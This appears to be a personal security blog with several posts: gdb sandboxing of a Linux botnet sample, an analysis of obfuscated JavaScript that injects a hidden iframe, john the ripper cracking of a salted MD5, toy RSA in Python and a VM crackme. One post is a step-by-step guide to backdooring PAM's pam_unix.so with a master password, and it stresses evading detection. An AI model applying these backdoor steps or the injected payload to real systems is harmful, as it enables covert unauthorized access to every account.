lundi 27 juin 2016

Sandboxing a linux malware with gdb

1/ Intro


As I was browsing malwr.com the other day, I noticed some ELF malware. I choose to analyze one.
At first, it was just to learn some things, but in the end, I've finished by writing a full gdb script which was able to monitor safely all communication of this malware.

2/ Discovery

The file in question is a x86_64 ELF, statically linked, not stripped (!), weighting ~ 200kBytes:
mitsurugi@dojo:~/infected$ file Rx64 
Rx64: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped
mitsurugi@dojo:~/infected$ ls -l Rx64 
-rw-r--r-- 1 mitsurugi mitsurugi 204783 juin  20 17:54 Rx64
mitsurugi@dojo:~/infected$ 

(spoiler off: in the end, I learn that this is DDOSbot/gayfgt family sample)

3/ Reverse

The reversing is not difficult, there is no obfuscation, no anti debug, no persistence. The binary only tries to be stealthy by forking at startup in order to hide its name, and it connects to a C&C, awaiting for commands.

The protocol used is really simple, it's a textual command/response one:
  • regularly, the server sends 'PING', the client replies 'PONG' and vice-versa
  • the server can close the communication
  • the server sets a secret at first use. Any call to the bot without that secret won't be followed by any action. The syntax is "!<secret> <action>"
  • the server can call any shell command
  • the server can call some other functions (flood and scan, basically)
Reverse was done, and an idea appears: why use this malware to connect to its C&C while being monitored?

The logic of the bot can be seen as:

main()
  doing some forks, but only one process remains
  connection to C&C
  A big loop here
    Some code to manage all the forks process if any
    Read data from network
      if PING, send PONG
      if DUP, then exit()
      if starting with !<secret> sh <args> => fork and call shell 
      if starting with !<secret> command args => call function (fork and flood or scan) 

There is nothing really dangerous here. If we just block the shell and flood/scan commands, we end up with a simple client awaiting orders. With this legitimate client, we could connect to the C&C and hear it speak to us. We have to navigate through all the forks, and avoid dangerous commands but with gdb you can put a breakpoint and set $rip elsewhere.

4/ Instrument it

While I was analysing the file, I begun to write a gdb script in order to skip the forks, to print the C&C server, skip all dangerous function. This script became the one I'm showing here.

In the end, every dangerous function is totally neutralized, and I was able to launch it under gdb (and tor) the malware. It connects to the C&C and receive all commands :-)

Here is a live transcript, nothing exciting is showing, just endless PING/PONG reply after a SCANNER OFF (interesting, is the C&C really up?)

root@kali:~# gdb -q Rx64 
Reading symbols from Rx64...(no debugging symbols found)...done.
gdb$ source breakpoints 

###################################
#  Starting instrumented binary
###################################

                             Nothing ventured, nothing gained.
              You can't do anything without risking something.


Breakpoint 1 at 0x406731
Breakpoint 2 at 0x4067d0
Breakpoint 3 at 0x406466
Breakpoint 4 at 0x40689b
Breakpoint 5 at 0x4069df
Breakpoint 6 at 0x406a4d
Breakpoint 7 at 0x406c4d
Breakpoint 8 at 0x406e0b
gdb$ r
Starting program: /root/Rx64 
Breakpoint 1, 0x0000000000406731 in main ()
main() function
Breakpoint 2, 0x00000000004067d0 in main ()
Skipping all the forks
and the setsid
Breakpoint 3, 0x0000000000406466 in initConnection ()
We got currentServer!
0x417120: "208.67.1.114:23"
Continuing...
Breakpoint 4, 0x000000000040689b in main ()
Back to main
Jumping all code related to forks
Breakpoint 5, 0x00000000004069df in main ()
*******************************
* C&C is talking to us:
*0x7fffffffd090: "!* SCANNER OFF\n"
*******************************
/!\ DANGER: COMMAND /!\
C&C sends a command
Will safely ignore it
Breakpoint 4, 0x000000000040689b in main ()
Back to main
Jumping all code related to forks
Breakpoint 5, 0x00000000004069df in main ()
*******************************
* C&C is talking to us:
*0x7fffffffd090: "PING\n"
*******************************
buf: PONG
Breakpoint 4, 0x000000000040689b in main ()
Back to main
Jumping all code related to forks
Breakpoint 5, 0x00000000004069df in main ()
*******************************
* C&C is talking to us:
*0x7fffffffd090: "PING\n"
*******************************
buf: PONG
^C
Program received signal SIGINT, Interrupt.
gdb$

5/ Conclusion

The malware is a well known linux malware, called DDOSbot or gayfgt, there is even some source sample available on internet.

Binary and gdb script are available on github:
https://github.com/0xmitsurugi/SandboxingMalware

0xMitsurugi
Talk is easy, action is difficult.
Action is easy, true understanding is difficult

jeudi 16 juin 2016

Creating a backdoor in PAM in 5 line of code

Under Linux (and other Oses), authentification of users is made through Pluggable Authentication Module, aka PAM. Having centralized authentication is a good thing. But it has a drawback: if you trojanize it, you get key for everything. Trojan once, pwn evrywhere!

1/ Intro

Pam has three concepts: username, password and service. Its role is authenticate people to a service with a password.

Pam configuration is done under /etc/pam.d/ directory where each service has its own file:
 root@dojo:/etc/pam.d# ls  
 atd             common-password        lightdm-greeter       polkit-1      sudo  
 chfn            common-session         login       ppp       systemd-user  
 chpasswd        common-session-noninteractive      runuser   vmtoolsd  
 chsh            cron                   newusers    runuser-l xscreensaver  
 common-account  lightdm                other       sshd  
 common-auth     lightdm-autologin      passwd      su  
 root@dojo:/etc/pam.d#  

Basically, each one of those file calls a shared library, where the authentication or other kind things related to auth is done:
 root@dojo:/etc/pam.d# head login  
 #  
 # The PAM configuration file for the Shadow `login' service  
 #  
 # Enforce a minimal delay in case of failure (in microseconds).  
 # (Replaces the `FAIL_DELAY' setting from login.defs)  
 # Note that other modules may require another minimal delay. (for example,  
 # to disable any delay, you should add the nodelay option to pam_unix)  
 auth    optional  pam_faildelay.so delay=3000000  
 root@dojo:/etc/pam.d#  

And that'st he same kind of config files for all services. As I said, we want to backdoor PAM. We don't want to backdoor everything, we just want to be able to succeed in authentication with a choosen password, independantly of the real password of the user.

Almost all services include the common-auth file, and you can guess what is done here by its name.

2/ Backdooring pam_unix.so in common-auth

The common-auth file has many directives, but the only important line here is the one checking the password of a user:
auth       [success=1 default=ignore]      pam_unix.so nullok_secure  

The common-auth file calls the pam_unix.so shared library and authentication of user is done here. The logic of this file is easy to understand:
  • get username
  • get password
  • calls a subfunction to validate password against username
So, why don't add an if statement?
  • get username
  • get password
  • if password == "0xMitsurugi" then grant access, else calls the legitimate subfunction
Let go to the sources of PAM (depends on your distro, take the same version number as yours..) and look around line numbers 170/180 in the pam_unix_auth.c file:

mitsurugi@dojo:~/chall/PAM/pam_deb/pam-1.1.8$ vi modules/pam_unix/pam_unix_auth.c


Let's change this by:

Recompile the pam_unix_auth.c, end replace the pam_unix.so file:
 mitsurugi@dojo:~/chall/PAM/pam_deb/pam-1.1.8$ make  
  (...)  
 mitsurugi@dojo:~/chall/PAM/pam_deb/pam-1.1.8$ sudo cp \  
  /home/mitsurugi/PAM/pam_deb/pam-1.1.8/modules/pam_unix/.libs/pam_unix.so \  
  /lib/x86_64-linux-gnu/security/  
 mitsurugi@dojo:~/chall/PAM/pam_deb/pam-1.1.8$  

3/ Profit !

Try with login, with ssh, with sudo, with su, with the screensaver, your access will be granted with "0xMitsurugi" password. Open access for all accounts \o/

The best part of this is that everything else works as usual. Put your real password, it works. Put a bad one, it fails. Users can change their password, you can audit the strength of the shadow file, you can check for hidden files, you can check for config file modified, open ports, "weird logs", you'll get nothing, but attacker can still get in. Another great advantage of this is that it can remain undetected for a long time.

You can also add logging features in order to catch all password entered, that's an exercise left to the reader.

4/ Enjoy responsibly

Real friends don't backdoor theirs friend's machines.

0xMitsurugi
No one can take Soul Edge from me!

mercredi 15 juin 2016

Analysis of an Evil Javascript

Some days ago, I was invited to check the security of a website.
A customer was complaining of getting alert from its AV while browsing a website, but a visual inspection of the webpage did not reveal anything.

1/ Watch closely

Come back when you're ready! (Denaoshite koi!)

When dealing with infected website, you can start with a simple wget (or curl) and analyze the result. For this time, wget would retrieve an inoffensive HTML file, so the first analysis shows nothing. But if you specify an Internet Explorer User-Agent, you get a different file, way more interesting.
That's a simple and effective trick made by attackers to stay undetected, because infected javascripts are not sent to everybody, only for innocents victims with vulnerable browsers, and not for security analysts. This is usually done with an .htaccess file.

The file I got with a MSIE User-agent looks like this:

 $ wget -U "Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US))" http://victim.website.tld/path/to/page.html  
 $ cat page.html  
 <span id="screenXConfirm" style="display:none">0 23 2cs2 czc22 1m3a i12 5b5 1-f2 2b2 3 11 -12
(...4000 chars later on this only line...)
 7 12 2-b2 7k5 74 75 89aban-eqcdcia-jaod-ra.vd.r-esaicmec-a-mco</span>  
 <script>  
 passwordOnkeyup="\x69";switchEval="\x61";newMimeTypes="\x72";pageYOffsetPlugin="\x74"   
 (... 11000 chars later on this only line...)   
 defaultFunction=onkeydownOpener; continueDecodeURIComponent(pkcs11Taint)();layersWith="\x76\x65\x72";pkcs11Taint=layersWith;layersWith+=layersWith  
 </script>  
 <noscript>  
 Error displaying the error page: Application Instantiation Error: Failed to start the session because headers have already been sent by "/jail/var/www/vhosts/victim.website.tld/httpdocs/includes/defines.php" at line 123.  

The script part is interesting. It's filled up with variables, and those names looks like javascript names and functions. After a bit of code beautifying, we can see in the end:
 (...)  
 pkcs11Taint+=setIntervalVolatile;  
 setIntervalVolatile=pageYOffsetFloat;  
 pkcs11Taint+=clearIntervalOnkeyup;  
 clearIntervalOnkeyup=onresetVolatile;  
 pkcs11Taint+=charWindow;  
 charWindow="\x74\x76\x71";  
 pkcs11Taint+=ArrayElements;  
 pkcs11Taint+=staticFloat;  
 pkcs11Taint+=defaultFunction;  
 defaultFunction=onkeydownOpener;  
 continueDecodeURIComponent(pkcs11Taint)();  
 layersWith="\x76\x65\x72";  
 pkcs11Taint=layersWith;  
 layersWith+=layersWith;  
 </script>  

We understand that the pcks11Taint is a string slowly built, variable after variable, which is called like a function thanks to continueDecodeURIComponent(pkcs11Taint)();

Another nice trick is that the pkcs11Taint strings is cleared up right after being called. So, if you try to do some kind of symbolic execution through all the script, you end up with absolutely nothing interesting. You can also see that all the temporary variables are reseted right after evaluation.

2/ Second Layer

You'll be in hell... Before me!

Following this path is really easy. Just change the continueDecodeURIComponent(pkcs11Taint)(); with an alert(); and you'll see this javascript. I beautify it again, and we see:

 a=document.getElementById("screenXConfirm").innerHTML.replace(/[^\d ]/g,"").split(" ");  
 for(i=(+[window.sidebar])+(+[window.chrome]);i<a.length;i++)a[i]=parseInt(a[i])^98;  
 c="constructor";  
 [][c][c](String.fromCharCode.apply(null,a))();  

Remember the <span id=screenXConfirm ...> we saw just before? We remove everything except numbers and space in order to fill a table.
Then, we XOR all value from the table with the value 98 and we finally execute what we got from the table, translated back to characters.

Here is a little python code to see the result (why python? just because.)
1:  #! /usr/bin/python  
2:  import re  
3:  screenXConfirm="0 23 2cs2 czc (...c/c from page.html...) 7 12 2-b2 7k5 74 75 89aban-eqcdcia-jaod-ra.vd.r-esaicmec-a-mco"  
4:    
5:  screenXConfirm=screenXConfirm.split(" ")  
6:  translated_js=[]  
7:  for i in screenXConfirm:  
8:    num=int(re.sub(r"[^\d ]","",i))  
9:    translated_js.append(chr(num^98))  
10:    
11:  print ''.join(translated_js)  
12:    

3/ Third Layer

No mercy!

The python code gives this (once again, the code has been beautified for readability):

 buttonUntaint = (+[window.sidebar]) + (+[window.chrome]);  
 oncontextmenuOnmousedown = ["rv:11", "MSIE", ];  
 for (propertyIsEnumWhile = buttonUntaint; propertyIsEnumWhile < oncontextmenuOnmousedown.length; propertyIsEnumWhile++) {  
   if (navigator.userAgent.indexOf(oncontextmenuOnmousedown[propertyIsEnumWhile]) > buttonUntaint) {  
     undefinedFinally = oncontextmenuOnmousedown.length - propertyIsEnumWhile;  
     break;  
   }  
 }  
 if (navigator.userAgent.indexOf("MSIE 10") > buttonUntaint) {  
   undefinedFinally++;  
 }  
 continueNew = "6pbXWbAoyVTSfe";  
 onloadCheckbox = document.getElementById("screenXConfirm").innerHTML;  
 constEncodeURIComponent = buttonFalse = buttonUntaint;  
 isFiniteDocument = "";  
 onloadCheckbox = onloadCheckbox.replace(/[^a-z]/g, "");  
 for (propertyIsEnumWhile = buttonUntaint; propertyIsEnumWhile < onloadCheckbox.length; propertyIsEnumWhile++) {  
   formsEncodeURIComponent = onloadCheckbox.charCodeAt(propertyIsEnumWhile);  
   if (constEncodeURIComponent % undefinedFinally) {  
     isFiniteDocument += String.fromCharCode(((returnButton + formsEncodeURIComponent - 97) ^ continueNew.charCodeAt(buttonFalse % continueNew.length)) % 255);  
     buttonFalse++;  
   } else {  
     returnButton = (formsEncodeURIComponent - 97) * 13 * undefinedFinally;  
   }  
   constEncodeURIComponent++;  
 }[]["constructor"]["constructor"](isFiniteDocument)();  

Aside the use of really badly named variables which can lead to confusion, we note three important things:
  • ["rv:11", "MSIE", ];
    The javascript code tries to autodect the browser. It search for IE11 and more interstingly, the table finishs with ', ]'. I think that the code is autogenerated upon demand, and can autodetect way more borwser. This one wants to detect MSIE or IE11, but the generator code must have more browser and versions.
  • navigator.userAgent.indexOf("MSIE 10")
    The previous check and this one are used to set up a variable to the value of "2" if the browser is IE10 or IE11. Interesting, this javascript targets recent browsers (at least, not an IE8 ^_^ ).
  • continueNew = "6pbXWbAoyVTSfe"; and .replace(/[^a-z]/g, "");
    That continueNew variable is a key. The replace part just takes all the lowercase characters from the screenXConfirm <span> id. It's interesting. The span id is used twice, one for its numbers, another for its lowercase letters. They are used to encrypt layers of obfuscated javascript. We understand better why this span id looks like a bunch of random things.
And we have a decyphering function which decrypt the lowercase characters with the key and the variable setted with the user-agent. This is a really weird way to redirect browser to a specific location... A simple "if" case would have done the job, remeber that we are under two layer of obfuscation.

I used again a bit of python code to see where we are going. I didn't even tried to reverse the decyphering function, because copy-pasting it "just works" (yes, javascript == python ^_^ ):
1:  #! /usr/bin/python  
2:  import re  
3:  screenXConfirm="0 23 2cs2 czc22 1m3a (once again, all of the span id chars)k5 74 75 89aban-eqcdcia-jaod-ra.vd.r-esaicmec-a-mco"  
4:  key="6pbXWbAoyVTSfe"  
5:    
6:  returnButton=0  
7:  undefinedFinally=2 #If you have MSIE10 or MSIE11  
8:  buttonFalse=0  
9:  constEncodeURIComponent=0  
10:  isFiniteDocument=[]  
11:    
12:  onloadCheckbox=[]  
13:  for i in screenXConfirm:  
14:    c=(re.sub(r"[^a-z]","",i))  
15:    if len(c) > 0:  
16:      onloadCheckbox.append(ord(c))  
17:    
18:  for formsEncodeURIComponent in onloadCheckbox:  
19:    if (constEncodeURIComponent%undefinedFinally):  
20:      num=(returnButton+formsEncodeURIComponent-97)^ord(key[buttonFalse%len(key)])  
21:      buttonFalse+=1  
22:      isFiniteDocument.append(chr(num%255))  
23:    else:  
24:      returnButton=(formsEncodeURIComponent-97)*13*undefinedFinally  
25:    constEncodeURIComponent+=1  
26:    
27:  print ''.join(isFiniteDocument)  

4/ Hiding in plain sight

Don't let your guard down... or you'll die.

The last javascript code, after beautifying, is:
 p = "PHP_SESSION_PHP";  
 if (document.cookie.indexOf(p) == -1) {  
   document.write('<style>.kkvhavtlfdalg{position:absolute;top:-809px;width:300px;height:300px;}</style>  
   <div class="kkvhavtlfdalg">  
   <iframe src="http://--redacted.redacted--.co.uk/hYCKyYdJsc_cn_JxHu.html" width="250" height="250">  
   </iframe>  
   </div>');  
 }  
 c = p + "=364; path=/; expires=" + new Date(new Date().getTime() + 604800000).toUTCString();  
 document.cookie = c;  
 document.cookie = "_" + c;  

We notice immediately two things:
  • The use of the cookie PHP_SESSION_PHP. This is made to look like a legit cookie from a PHP Session. I search through all github repositories, open sources repos and couldn't find one legitimate use of this Cookie. If you have this cookie stored in your browser, I have some bad news for you.
    You can check for Firefox with sqlite:
     mitsurugi@dojo:~/.mozilla/firefox/39wilkuz.default$ sqlite3 cookies.sqlite  
     SQLite version 3.7.13 2012-06-11 02:05:22  
     Enter ".help" for instructions  
     Enter SQL statements terminated with a ";"  
     sqlite> select baseDomain from moz_cookies where name like 'PHP_SESSION_PHP';  
     sqlite>  
    

    (yeah, I know, the attack targets IE, but this is Firefox. Whatever.)
  •  The domain where the iframe points to:
    This domain doesn't exist anymore. I can't find any records about it. After some readings, I think it's a method called 'DNS shadowing'. The domain is legit, the subdomain is not. The subdomain has a little TTL and is promptly removed after attack. No tracks, no way to hunt down the IP address. Clever.

5/ Conclusion

Weapons are just tools. True strength lies within me.

In this blogpost, we saw how an attacker can do the first part of a fingerprinting. Only clients with IE10 or IE11 are redirected to a (supposed) evil iframe.
The attacker uses nice trick for staying under the radar, with .htaccess and javascript variables names which looks legit. What is hard to understand is the 3 layer of js obfuscation: if you find the first js illegitimate, you have no problem to go through the 3 layers in very little time, so why spend time in order to do this obfuscation? Maybe it confuses some AV? Another thing?
In the end, the most significative way to block an analyst is the DNS shadowing, and it's very effective :-(

If you search the Internet with PHP_SESSION_PHP and DNS shadow, you find connections to Angler Exploit Kit or Darkleech. Without the iframe, it's hard to say what it really was.

0xMitsurugi
 Quotes are taken from SoulCalibur.

jeudi 14 avril 2016

Let's play with john the ripper

1/ Introduction

Everybody in infosec industry knows john the ripper. If you sit quietly in the middle of the night in a server room, you can hear tons of passwords being cracked by john.

I use john from time to time, but I did a little diving into the configuration file and figured that john is a lot more than a cracker. It's almost a DSL for cracking passwords.

2/ john, ok but which one?

I recommend to use the john from openwall: http://www.openwall.com/john/. It's faster, it's packed with a lot of patch, and easier to use. So, take this one. Installation is straightforward: wget it, untar-gz it, and run.

3/ rules, rules, rules and dry-run

You can launch john in dry-run mode. With this mode, john will print the candidate passwords. That's pretty cool in order to test the rules. The parameter is --stdout. Without --rules parameter, john will try only password listed in the wordlist file. We can see that john is pretty good for mangling password with --rules

mitsurugi@dojo:~/john-1.7.9-jumbo5-Linux-x86-32/run$ cat wordlist
mitsurugi

mitsurugi@dojo:~/john-1.7.9-jumbo5-Linux-x86-32/run$ ./john --wordlist=wordlist --stdout
mitsurugi
words: 1  time: 0:00:00:00 DONE (Thu Apr 14 16:12:20 2016)  w/s: 20.00  current: mitsurugi
mitsurugi@dojo:~/john-1.7.9-jumbo5-Linux-x86-32/run$ ./john --wordlist=wordlist --stdout --rules
mitsurugi
Mitsurugi
mitsurugis
mitsurugi1
Mitsurugi1
igurustim
1mitsurugi
MITSURUGI
mitsurugi2
mitsurugi!
mitsurugi3
mitsurugi7
mitsurugi9
mitsurugi5
mitsurugi4
mitsurugi8
mitsurugi6
mitsurugi0
mitsurugi.
mitsurugi?
mtsrg
igurustiM
Igurustim
mitsurugI
2mitsurugi
4mitsurugi
Mitsurugi2
Mitsurugi!
Mitsurugi3
Mitsurugi9
Mitsurugi5
Mitsurugi7
Mitsurugi4
Mitsurugi6
Mitsurugi8
Mitsurugi.
Mitsurugi?
Mitsurugi0
3mitsurugi
7mitsurugi
9mitsurugi
5mitsurugi
6mitsurugi
8mitsurugi
Mitsurugis
mitsurugied
mitsuruging
Mitsurugied
Mitsuruging
words: 49  time: 0:00:00:00 DONE (Thu Apr 14 16:12:23 2016)  w/s: 1225  current: Mitsuruging
mitsurugi@dojo:~/john-1.7.9-jumbo5-Linux-x86-32/run$


So, if you want to crack passwords, you better have to use the --rules option :-)
We can also learn that variations doesn't give you better security. If you thought that doubling your password will be harder to crack, think again, because it's in default rules list of john!!

If you want more mangling, you can try the --rules=single options:
mitsurugi@dojo:~/john-1.7.9-jumbo5-Linux-x86-32/run$ ./john --wordlist=wordlist --stdout --rules=single
mitsurugi
Mitsurugi
(...)

Mitsurug
m.itsurugi
mi.tsurugi
M.itsurugi
(...)

nurayeyfu
<oyditiho               //this one is cool on qwerty keyboard :)
Nurayeyfu               //this one too
(...)

*mitsurugi*
-mitsurugi-
=mitsurugi=
_mitsurugi_
(...)

mitsurugi2012
mitsurugi2013
mitsurugi2014
mitsurugi2015
(...)

words: 841  time: 0:00:00:00 DONE (Thu Apr 14 16:19:14 2016)  w/s: 21025  current: mitsurugi1900
mitsurugi@dojo:~/john-1.7.9-jumbo5-Linux-x86-32/run$


841 variations for a single word!! That's impressive!

4/ Writing your rules

That's not easy. The language used is (almost) braindead. The better doc I found is on openwall:
http://www.openwall.com/john/doc/RULES.shtml

5/ Use case, md5 salted password

Imagine, you found a SQL injection, you got the database, but passwords are salted, then hashed. You have the salt, you want the password.
Let's imagine that salt value is "Th1s_is_4_g00d_s4lt", and we want to crack this hash: 9c5e420f4b6f4878275502c5f097ffea

At first, we generate a wordlist:
mitsurugi@dojo:~/john-1.7.9-jumbo5-Linux-x86-32/run$ ./john --wordlist=wordlist --stdout --rules=single > my_wordlist
words: 841  time: 0:00:00:00 DONE (Thu Apr 14 16:19:14 2016)  w/s: 21025  current: mitsurugi1900
mitsurugi@dojo:~/john-1.7.9-jumbo5-Linux-x86-32/run$

Then, we create our rule. This is a string command, with the insertion of a string:
AN"STR" insert string STR into the word at position N
So,we create a rule in our john.conf file:
mitsurugi@dojo:~/john-1.7.9-jumbo5-Linux-x86-32/run$ cat my.john.conf
[List.Rules:mitsu]
A0"Th1s_is_4_g00d_s4lt"
mitsurugi@dojo:~/john-1.7.9-jumbo5-Linux-x86-32/run$


and the appropriate password file:
mitsurugi@dojo:~/john-1.7.9-jumbo5-Linux-x86-32/run$ cat password
user:9c5e420f4b6f4878275502c5f097ffea
mitsurugi@dojo:~/john-1.7.9-jumbo5-Linux-x86-32/run$


And now, we can see the magic happening:
mitsurugi@dojo:~/john-1.7.9-jumbo5-Linux-x86-32/run$ ./john --format=raw-MD5 --wordlist=my_wordlist --config=my.john.conf --rules=mitsu password
Loaded 1 password hash (Raw MD5 [SSE2 32x4])
Th1s_is_4_g00d_s4lt=mitsurugi= (user)
guesses: 1  time: 0:00:00:00 DONE (Thu Apr 14 16:53:55 2016)  c/s: 10666  trying: Th1s_is_4_g00d_s4ltMitsurugiT - Th1s_is_4_g00d_s4ltmitsurugi444
Use the "--show" option to display all of the cracked passwords reliably
mitsurugi@dojo:~/john-1.7.9-jumbo5-Linux-x86-32/run$


Job's done, MD5 salted hash has been cracked.

I think that you can crack it with a single pass, due to preprocessor commands in john.conf file, but I didn't figure out. Maybe it's better to make many passes and improve wordlist file.

6/ Conclusion

As we see, John can make a lot more than just crack passwords. It can help to generate wordlists, and the language is very powerfull (although braindead).
If you know the patterns used by someone to create passwords, john can help you to crack them :-)

The --stdout option is really usefull in order to see the common patterns used by people to derivate passwords from common words. If you use one of them, I think it's time for you to change.

mercredi 21 octobre 2015

Playing with RSA and python

Intro

In a challenge, I was confronted with RSA. Usual stuff, which means you have to break a key, and decipher data. This blogpost is just a cookbook of what I used. This is not how to break a RSA key, this is more how you use RSA with python in order to have better understanding of what you can do with python.

A bit of theory, at first

A public key is composed of 2 numbers: n and e
A private key is composed of 2 numbers: n and d

With a private key, you decipher messages, with public key you cipher messages.

n is the results of two prime number, p and q.
e is a coprime of 'n', which means the GCD of n and e is 1.
d is choosen as d*e % (p-1)(q-1)=1

Confused? Read the excellent paper here: http://pajhome.org.uk/crypt/rsa/rsa.html


Creating RSA keys manually

Let's choose some numbers in order to create an RSA key:
  • p=47 (prime)
  • q=13 (prime)
  • n=p*q=611
  • m=(p-1)*(q-1)=552
  • e=5 because PGCD(552,5)=1
  • d=221 because (1+2×552)÷5=221 which is not a decimal number.
  • (still confused? read again Paj's paper)

Go, python, go:

Let's follow the documentation:
https://www.dlitz.net/software/pycrypto/api/current/Crypto.PublicKey.RSA.RSAImplementation-class.html#construct

We can create an RSA key with our numbers, encrypt data with public key and decrypt data with private key:
$ ipython
In [1]: from Crypto.PublicKey import *
In [2]: key=RSA.construct((611L,5L,221L,47L,13L))
In [3]: key.publickey().encrypt('Z','x')[0]
Out[3]: '\x01\xe0'
In [4]: key.decrypt('\x01\xe0')
Out[4]: 'Z'


Notes:
  • The encrypted message here is really short, it must be shorter than the key.
  • The second parameter of encrypt() function is mandatory, but is useless, put whatever you want.
  • key represent the private key. If you want the public key, you have to specify it with key.publickey().

And of course, you can import/export keys in PEM/DER format:
http://stackoverflow.com/questions/3504955/using-rsa-in-python


Ok, and when you have only the public key?

That's (not so) easy. Let's replay with our really weak key:
$ ipython
In [1]: from Crypto.PublicKey import *
In [2]: pubkey=RSA.construct((611L,5L))
In [3]: pubkey.has_private()
Out[3]: False
In [4]: pubkey.e
Out[4]: 5L
In [5]: pubkey.n
Out[5]: 611L


You can print out the 'n' parameter and try to find the prime numbers.. Once done, just verify the 'e' parameter and find the 'd' param. Next, build the private key, and key.decrypt() everything.

611 = 47*13  (that's the hard part when n is big)
m=46*12
e=5
for i in range(1,25):
    if (((1.0+i*m)/e) % 1)==0:
        print (1+i*m)/e

        break

221  which is the 'd' parameter


And you have everything to create a private key.

And with openssl?

$ ipython
In [1]: from Crypto.PublicKey import *
In [2]: key=RSA.construct((611L,5L,221L,47L,13L))

In [3]: print key.exportKey()
-----BEGIN RSA PRIVATE KEY-----
MB0CAQACAgJjAgEFAgIA3QIBLwIBDQIBJQIBBQIBHQ==
-----END RSA PRIVATE KEY-----


Copy paste the key in a file called privkey.pem, and:
mitsurugi@mitsu:~$ printf '\x01\xe0' | openssl rsautl -decrypt -inkey privkey.pem -raw
Z



lundi 5 octobre 2015

Hi gdb, this is python : break a VM crackme with class!

I like to play crackmes and one of my favorite tool is (of course) gdb. The title of this post is a tribute to an 0vercl0k's blogpost. Few days ago, I was trying to break a VM crackme (no spoil, no link).

Once you figure you are facing a VM, you are confronted with two CPU: the real one, where every gdb instructions make sense (it was x86), and the emulated one, where you have to deal with it to get the juicy part of the crackme.
At first, I spent a lot of time to step through all the x86 instructions and memory to read the instruction pointer, the opcode and the internal registers of the VM.

And I was thinking: Is there a way to emulate commands in gdb where a stepi could step efficiently in the VM, where info reg would dump the registers of the VM, and so on. This blogpost explain how to do it in a very simple and convenient manner. This is not a generic way to break VM, this is more how python can help you to break VM.


1/ Hi gdb this is python

Since a long time, you can call python script from gdb:

or from a source script:
(gdb) source /path/to/script.py
You can also execute any gdb command within python and grab the result for analysis:
(gdb) python gdb.execute("info reg %s"%("eax"))
eax            0x1    1
(gdb)


But you can do a lot more. Python ca define new command in gdb, as defined in documentation (and excellent paper from 0vercl0k):
mitsurugi@mitsu:~/crackmes/VM$ cat TheName.py
import gdb

class HelloWorld(gdb.Command):
    """Greet the world"""
    def __init__(self):
        super(HelloWorld, self).__init__("mitsurugi", gdb.COMMAND_SUPPORT)

    def invoke(self, args, from_tty):
        print "The name's 0xMitsurugi\nRemember it!"

HelloWorld()
mitsurugi@mitsu:~/crackmes/VM$ gdb -q -nx ./VM.bin
Reading symbols from ./VM.bin...(no debugging symbols found)...done.
(gdb) source ./TheName.py
(gdb) mitsurugi
The name's 0xMitsurugi
Remember it!
(gdb)


And you can use anything in the invoke function, like:
  • gdb.execute("gdb command")
  • python evaluation

2/ Go VM, go!

When I was breaking this VM, I've quickly found a pattern:
  • adress 0x0804843b
  • read a byte at [esi]
  • explode it in 5 bytes
  • do stuff
  • return to 0x0804843b
Another finding was that 8 bytes where used as temporary storage, at adresse 0x08049a84 (think registers).

What I need now is to have new gdb command that will do:
  • stepi ==> named walk
  • info reg ==> named registry
  • print opcode ==> named  opcode
  • x/5i $eip ==> named lookahead
with this superset of command, I would navigate through the VM code like if it was native.

3/ python with a touch of class

For the clarity of the blogpost, all code has been moved at the end.

3/1/ Walk

Ok, the first one is very easy to do, named Walk. We just have to create aclasse doing a :
gdb.execute("c")

and check if we stop at the right breakpoint. We can add a lot of debug code, verify if the breakpoint is present, if there are another ones, and so on, but for simplicity, a single breakpoint and a single line do the trick.

3/2/ Register

We have 8 registers of one byte long. The goal here is to print them on the screen. I've choose to do it really simply:
The invoke function within the class Registry:
registry(gdb.execute("x/8bx 0x08049a84",to_string=True))
 
and the registry function doing the pretty printing. The eight registers appears as R1, R2,... R8


3/3/ Opcodes

Opcode is an interesting one. We learned that the VM read one byte at a time, splitted in 5 byte. First version of opcode just explode the byte:
 print "Opcode is: "+ opc + " ",
 a,b,c,d,e = exploding(opc)
 print "value 0%d-0%d-0%d-0%d-0%d" % (a,b,c,d,e)

this saved me a lot of time. Everything depends of these 5 bytes, and patterns can be revealed easily.

The next work was to disass these opcodes. I filled slowly this function with what I've found:
if opc=='00': print 'NOP'
if opc=='c3': 
    print 'JUMP $esi+ %s - %s" %(get_esi(addr+"+1"),get_esi(addr+"+2"))
if c==6:
    print 'MOV %s to R%d' % (get_esi(addr+"+1"),b)


and so on. It's really convenient, because you can hot reload the python script while working:
(gdb) opcode
Opcode is 00
value 00-00-00-00-00
(gdb) source ./vm.py   #now telling that 00 is a NOP:
(gdb) opcode
Opcode is 00 NOP
value 00-00-00-00-00
(gdb)

There are two way to disassemble opcodes: reversing the x86 part, or just watching register before/after the operation.

3/4/ lookahead

The lookahead is equivalent to x/5i $eip. This is achieved easily, by calling opcode() function, with a cursor telling if we have to walk to next byte, or skip some. That's just a reuse of function opcode() and disassemble().

4/ Breaking VM with class


The challenge quickly resume with using walk, opcode, registry to find what opcode do, and run after run, we get a better understanding of what's going on. This is live debugging session, just after the first opcodes where discovered. Note how the VM code reveals itself, and disassembled opcodes are printed:

mitsurugi@mitsu:~/crackmes/VM$ gdb -q -nx ./VM.bin
Reading symbols from ./VM.bin...(no debugging symbols found)...done.
(gdb) b * 0x0804843b
Breakpoint 1 at 0x804843b
(gdb) r
Starting program: /home/mitsurugi/crackmes/VM/VM.bin
Please crack Me :toto

Breakpoint 1, 0x0804843b in ?? ()
(gdb) source ./vm.py
(gdb) opcode
Opcode is: 0xc3  JUMP $esi+ 0x01 - 0x00
value 03-00-03-00-00
(gdb) walk
(gdb) lookahead
Opcode is 0x00
     == > NOP
Opcode is 0x00
     == > NOP
Opcode is 0x26
     == > MOV 0x20 to R4
Opcode is 0x3e
     == > MOV 0x00 to R7
Opcode is 0x01
     == > Mov 0x01-0x42 to R1 and R0
(gdb) registry
    R0      R1      R2      R3      R4      R5      R6      R7
    0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
(gdb) walk
(gdb) walk
(gdb) walk
(gdb) walk
(gdb) registry
    R0      R1      R2      R3      R4      R5      R6      R7
    0x00    0x00    0x00    0x00    0x20    0x00    0x00    0x00
(gdb) lookahead
Opcode is 0x01
     == > Mov 0x01-0x42 to R1 and R0
Opcode is 0x87
     == > Unknown Opcode
Opcode is 0x3c
     == > Unknown Opcode
Opcode is 0x02
